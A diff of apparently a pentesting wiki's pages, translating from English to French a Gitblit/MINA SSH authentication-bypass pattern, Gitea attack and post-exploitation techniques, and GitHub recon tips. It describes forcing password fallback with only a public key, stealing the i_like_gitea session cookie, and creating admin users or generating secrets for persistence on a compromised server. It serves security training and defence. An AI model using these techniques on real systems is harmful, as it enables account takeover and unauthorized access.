- Jusqu'à la mise à jour :
|
||||
- Désactiver Git over SSH sur Gitblit, ou
|
||||
- Restreindre l'accès réseau au service SSH, et
|
||||
- Surveiller les schémas suspects décrits ci‑dessus
|
||||
- Réinitialiser les identifiants des utilisateurs affectés si une compromission est suspectée
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## Général : abus du state‑leakage des méthodes d'auth SSH (services basés sur MINA/OpenSSH)
|
||||
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
Modèle : Si l'authenticator public‑key d'un serveur modifie l'état user/session pendant la phase pré‑signature "key acceptable" et que d'autres authenticators (p.ex. password) font confiance à cet état, vous pouvez contourner l'authentification en :
|
||||
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
- Présentant une public key légitime pour l'utilisateur cible (pas de private key)
|
||||
- Forçant le client à échouer la signature pour que le serveur retombe sur password
|
||||
- Fournissant n'importe quel password pendant que le password authenticator court‑circuite sur l'état leaked
|
||||
|
||||
Practical tips:
|
||||
Conseils pratiques :
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- Forcer l'échec de signature (côté client) : pointer IdentityFile vers uniquement le .pub, définir IdentitiesOnly yes, garder PreferredAuthentications pour inclure publickey puis password
|
||||
- MINA SSHD integration pitfalls :
|
||||
- PublickeyAuthenticator.authenticate(...) ne doit pas attacher l'état user/session tant que le chemin de vérification post‑signature ne confirme la signature
|
||||
- PasswordAuthenticator.authenticate(...) ne doit pas inférer le succès à partir d'un état muté pendant une méthode d'authentification antérieure incomplète
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
|
||||
@@ -1,141 +1,130 @@
|
||||
# Gitea Security
|
||||
# Sécurité de Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Qu'est-ce que Gitea
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
**Gitea** est une solution **d'hébergement de code léger gérée par la communauté et auto-hébergée** écrite en Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### Informations de base
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
## Laboratoire
|
||||
|
||||
Pour exécuter une instance Gitea localement, vous pouvez simplement exécuter un conteneur docker :
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Connectez-vous au port 3000 pour accéder à la page web.
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
Vous pouvez également l'exécuter avec kubernetes :
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Énumération non authentifiée
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
- Repos publics : [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Utilisateurs enregistrés : [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Organisations enregistrées : [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
Notez qu'en **default Gitea permet aux nouveaux utilisateurs de s'inscrire**. Cela ne donnera pas un accès particulièrement intéressant aux nouveaux utilisateurs sur les repos d'autres organisations/utilisateurs, mais un **utilisateur connecté** pourrait être en mesure de **visualiser plus de repos ou d'organisations**.
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
## Exploitation interne
|
||||
|
||||
## Internal Exploitation
|
||||
Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
### Avec les identifiants de l'utilisateur / Cookie Web
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation (ou si vous avez volé un cookie de session), vous pouvez **simplement vous connecter** et vérifier quels **permissions vous avez** sur quels **repos,** dans **quelles équipes** vous êtes, **lister d'autres utilisateurs**, et **comment les repos sont protégés.**
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Notez que **2FA peut être utilisé** donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer cette vérification**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Notez que si vous **réussissez à voler le cookie `i_like_gitea`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
|
||||
|
||||
### With User SSH Key
|
||||
### Avec la clé SSH de l'utilisateur
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Gitea permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée).
|
||||
|
||||
Avec cette clé, vous pouvez effectuer des **modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API gitea afin d'énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les repos et l'utilisateur auquel vous avez accès :
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur gitea, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\<gitea_username>.keys_, vous pouvez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
Les **clés SSH** peuvent également être définies dans les dépôts en tant que **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### Clés GPG
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
|
||||
|
||||
Vérifiez localement si l'utilisateur actuel a une clé avec :
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Avec le jeton utilisateur
|
||||
|
||||
### With User Token
|
||||
Pour une introduction sur [**les jetons utilisateur, consultez les informations de base**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
Un jeton utilisateur peut être utilisé **au lieu d'un mot de passe** pour **s'authentifier** contre le serveur Gitea [**via l'API**](https://try.gitea.io/api/swagger#/). Il aura **un accès complet** sur l'utilisateur.
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
### Avec l'application Oauth
|
||||
|
||||
### With Oauth Application
|
||||
Pour une introduction sur [**les applications Oauth de Gitea, consultez les informations de base**](./#with-oauth-application).
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
Un attaquant pourrait créer une **application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Comme expliqué dans les informations de base, l'application aura **un accès complet sur le compte utilisateur**.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
### Contournement de la protection des branches
|
||||
|
||||
### Branch Protection Bypass
|
||||
Dans Github, nous avons **github actions** qui, par défaut, obtiennent un **jeton avec un accès en écriture** sur le dépôt qui peut être utilisé pour **contourner les protections de branche**. Dans ce cas, cela **n'existe pas**, donc les contournements sont plus limités. Mais examinons ce qui peut être fait :
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
- **Activer le push** : Si quelqu'un avec un accès en écriture peut pousser vers la branche, poussez simplement vers celle-ci.
|
||||
- **Liste blanche des push restreints** : De la même manière, si vous faites partie de cette liste, poussez vers la branche.
|
||||
- **Activer la liste blanche de fusion** : S'il y a une liste blanche de fusion, vous devez en faire partie.
|
||||
- **Exiger que les approbations soient supérieures à 0** : Alors... vous devez compromettre un autre utilisateur.
|
||||
- **Restreindre les approbations aux utilisateurs sur liste blanche** : Si seuls les utilisateurs sur liste blanche peuvent approuver... vous devez compromettre un autre utilisateur qui est dans cette liste.
|
||||
- **Rejeter les approbations obsolètes** : Si les approbations ne sont pas supprimées avec de nouveaux commits, vous pourriez détourner une PR déjà approuvée pour injecter votre code et fusionner la PR.
|
||||
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
Notez que **si vous êtes un admin d'org/repo**, vous pouvez contourner les protections.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
### Énumérer les Webhooks
|
||||
|
||||
### Enumerate Webhooks
|
||||
Les **webhooks** sont capables d'**envoyer des informations spécifiques de gitea à certains endroits**. Vous pourriez être en mesure de **exploiter cette communication**.\
|
||||
Cependant, généralement, un **secret** que vous ne pouvez **pas récupérer** est défini dans le **webhook** qui **empêchera** les utilisateurs externes qui connaissent l'URL du webhook mais pas le secret d'**exploiter ce webhook**.\
|
||||
Mais dans certaines occasions, les gens au lieu de définir le **secret** à sa place, ils **le définissent dans l'URL** comme paramètre, donc **vérifier les URL** pourrait vous permettre de **trouver des secrets** et d'autres endroits que vous pourriez exploiter davantage.
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
Les webhooks peuvent être définis au **niveau du dépôt et au niveau de l'org**.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
## Post-exploitation
|
||||
|
||||
## Post Exploitation
|
||||
### À l'intérieur du serveur
|
||||
|
||||
### Inside the server
|
||||
Si d'une manière ou d'une autre vous parvenez à entrer dans le serveur où gitea fonctionne, vous devriez chercher le fichier de configuration de gitea. Par défaut, il est situé dans `/data/gitea/conf/app.ini`
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
Dans ce fichier, vous pouvez trouver des **clés** et des **mots de passe**.
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
Dans le chemin gitea (par défaut : /data/gitea), vous pouvez également trouver des informations intéressantes comme :
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
- La base de données **sqlite** : Si gitea n'utilise pas une base de données externe, il utilisera une base de données sqlite.
|
||||
- Les **sessions** dans le dossier des sessions : En exécutant `cat sessions/*/*/*`, vous pouvez voir les noms d'utilisateur des utilisateurs connectés (gitea pourrait également enregistrer les sessions dans la base de données).
|
||||
- La **clé privée jwt** dans le dossier jwt.
|
||||
- Plus d'**informations sensibles** pourraient être trouvées dans ce dossier.
|
||||
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
Si vous êtes à l'intérieur du serveur, vous pouvez également **utiliser le binaire `gitea`** pour accéder/modifier des informations :
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
- `gitea dump` va dumper gitea et générer un fichier .zip.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` va générer un jeton du type indiqué (persistance).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Changer le mot de passe.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Créer un nouvel utilisateur admin et obtenir un jeton d'accès.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,106 +1,103 @@
|
||||
# Basic Gitea Information
|
||||
# Informations de base sur Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Structure de base
|
||||
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
La structure de base de l'environnement Gitea consiste à regrouper les dépôts par **organisation(s)**, chacune d'elles pouvant contenir **plusieurs dépôts** et **plusieurs équipes**. Cependant, notez que tout comme sur GitHub, les utilisateurs peuvent avoir des dépôts en dehors de l'organisation.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
De plus, un **utilisateur** peut être **membre** de **différentes organisations**. Au sein de l'organisation, l'utilisateur peut avoir **différentes permissions sur chaque dépôt**.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
Un utilisateur peut également être **partie de différentes équipes** avec différentes permissions sur différents dépôts.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
|
||||
|
||||
## Permissions
|
||||
|
||||
### Organizations
|
||||
### Organisations
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
Lorsqu'une **organisation est créée**, une équipe appelée **Propriétaires** est **créée** et l'utilisateur y est ajouté. Cette équipe donnera un **accès admin** sur l'**organisation**, ces **permissions** et le **nom** de l'équipe **ne peuvent pas être modifiés**.
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
Les **admins d'org** (propriétaires) peuvent sélectionner la **visibilité** de l'organisation :
|
||||
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
- Publique
|
||||
- Limitée (utilisateurs connectés uniquement)
|
||||
- Privée (membres uniquement)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
Les **admins d'org** peuvent également indiquer si les **admins de dépôt** peuvent **ajouter ou retirer l'accès** pour les équipes. Ils peuvent également indiquer le nombre maximum de dépôts.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
Lors de la création d'une nouvelle équipe, plusieurs paramètres importants sont sélectionnés :
|
||||
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
- Il est indiqué les **dépôts de l'org auxquels les membres de l'équipe pourront accéder** : dépôts spécifiques (dépôts où l'équipe est ajoutée) ou tous.
|
||||
- Il est également indiqué **si les membres peuvent créer de nouveaux dépôts** (le créateur obtiendra un accès admin à celui-ci)
|
||||
- Les **permissions** que les **membres** du dépôt **auront** :
|
||||
- Accès **Administrateur**
|
||||
- Accès **Spécifique** :
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
### Équipes & Utilisateurs
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
Dans un dépôt, l'**admin d'org** et les **admins de dépôt** (si autorisés par l'org) peuvent **gérer les rôles** attribués aux collaborateurs (autres utilisateurs) et aux équipes. Il y a **3** rôles possibles :
|
||||
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
- Administrateur
|
||||
- Écrire
|
||||
- Lire
|
||||
|
||||
## Gitea Authentication
|
||||
## Authentification Gitea
|
||||
|
||||
### Web Access
|
||||
### Accès Web
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
Utilisation de **nom d'utilisateur + mot de passe** et potentiellement (et recommandé) un 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
### **Clés SSH**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la clé **privée associée d'effectuer des actions en votre nom.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **Clés GPG**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Jetons d'accès personnels**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Vous pouvez générer un jeton d'accès personnel pour **donner à une application accès à votre compte**. Un jeton d'accès personnel donne un accès complet à votre compte : [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
### Applications Oauth
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
Tout comme les jetons d'accès personnels, les **applications Oauth** auront un **accès complet** à votre compte et aux endroits auxquels votre compte a accès car, comme indiqué dans la [documentation](https://docs.gitea.io/en-us/oauth2-provider/#scopes), les scopes ne sont pas encore pris en charge :
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
### Clés de déploiement
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
Les clés de déploiement peuvent avoir un accès en lecture seule ou en écriture au dépôt, elles peuvent donc être intéressantes pour compromettre des dépôts spécifiques.
|
||||
|
||||
## Branch Protections
|
||||
## Protections de branche
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Les protections de branche sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
Les **protections de branche d'un dépôt** peuvent être trouvées sur _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Il **n'est pas possible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Différentes protections peuvent être appliquées à une branche (comme à master) :
|
||||
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
- **Désactiver Push** : Personne ne peut pousser vers cette branche
|
||||
- **Activer Push** : Quiconque ayant accès peut pousser, mais pas forcer le push.
|
||||
- **Liste blanche de Push restreint** : Seuls les utilisateurs/équipes sélectionnés peuvent pousser vers cette branche (mais pas de force push)
|
||||
- **Activer la liste blanche de fusion** : Seuls les utilisateurs/équipes sur liste blanche peuvent fusionner des PRs.
|
||||
- **Activer les vérifications d'état :** Exiger que les vérifications d'état réussissent avant de fusionner.
|
||||
- **Exiger des approbations** : Indiquer le nombre d'approbations requises avant qu'une PR puisse être fusionnée.
|
||||
- **Restreindre les approbations aux utilisateurs sur liste blanche** : Indiquer les utilisateurs/équipes qui peuvent approuver les PRs.
|
||||
- **Bloquer la fusion sur des revues rejetées** : Si des modifications sont demandées, elle ne peut pas être fusionnée (même si les autres vérifications réussissent)
|
||||
- **Bloquer la fusion sur des demandes de révision officielles** : Si des demandes de révision officielles existent, elle ne peut pas être fusionnée
|
||||
- **Rejeter les approbations obsolètes** : Lors de nouveaux commits, les anciennes approbations seront rejetées.
|
||||
- **Exiger des commits signés** : Les commits doivent être signés.
|
||||
- **Bloquer la fusion si la demande de tirage est obsolète**
|
||||
- **Modèles de fichiers protégés/non protégés** : Indiquer les modèles de fichiers à protéger/non protéger contre les modifications
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code vers master** par exemple pour compromettre le pipeline CI/CD.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,250 +1,237 @@
|
||||
# Github Security
|
||||
# Sécurité Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Github
|
||||
## Qu'est-ce que Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(De [ici](https://kinsta.com/knowledgebase/what-is-github/)) À un niveau élevé, **GitHub est un site web et un service basé sur le cloud qui aide les développeurs à stocker et gérer leur code, ainsi qu'à suivre et contrôler les modifications apportées à leur code**.
|
||||
|
||||
### Basic Information
|
||||
### Informations de base
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## External Recon
|
||||
## Reconnaissance externe
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Les dépôts Github peuvent être configurés comme publics, privés et internes.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **Privé** signifie que **seules** les personnes de l'**organisation** pourront y accéder.
|
||||
- **Interne** signifie que **seules** les personnes de l'**entreprise** (une entreprise peut avoir plusieurs organisations) pourront y accéder.
|
||||
- **Public** signifie que **tout internet** pourra y accéder.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
Dans le cas où vous connaissez le **utilisateur, le dépôt ou l'organisation que vous souhaitez cibler**, vous pouvez utiliser **github dorks** pour trouver des informations sensibles ou rechercher des **fuites d'informations sensibles** **dans chaque dépôt**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
Github permet de **rechercher quelque chose en spécifiant comme portée un utilisateur, un dépôt ou une organisation**. Par conséquent, avec une liste de chaînes qui vont apparaître près d'informations sensibles, vous pouvez facilement **rechercher des informations sensibles potentielles dans votre cible**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
Outils (chaque outil contient sa liste de dorks) :
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Liste de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Liste de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Liste de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
### Fuites Github
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Veuillez noter que les github dorks sont également destinés à rechercher des fuites en utilisant les options de recherche github. Cette section est dédiée à ces outils qui vont **télécharger chaque dépôt et rechercher des informations sensibles dans ceux-ci** (même en vérifiant une certaine profondeur de commits).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
Outils (chaque outil contient sa liste de regex) :
|
||||
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
Consultez cette page : **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
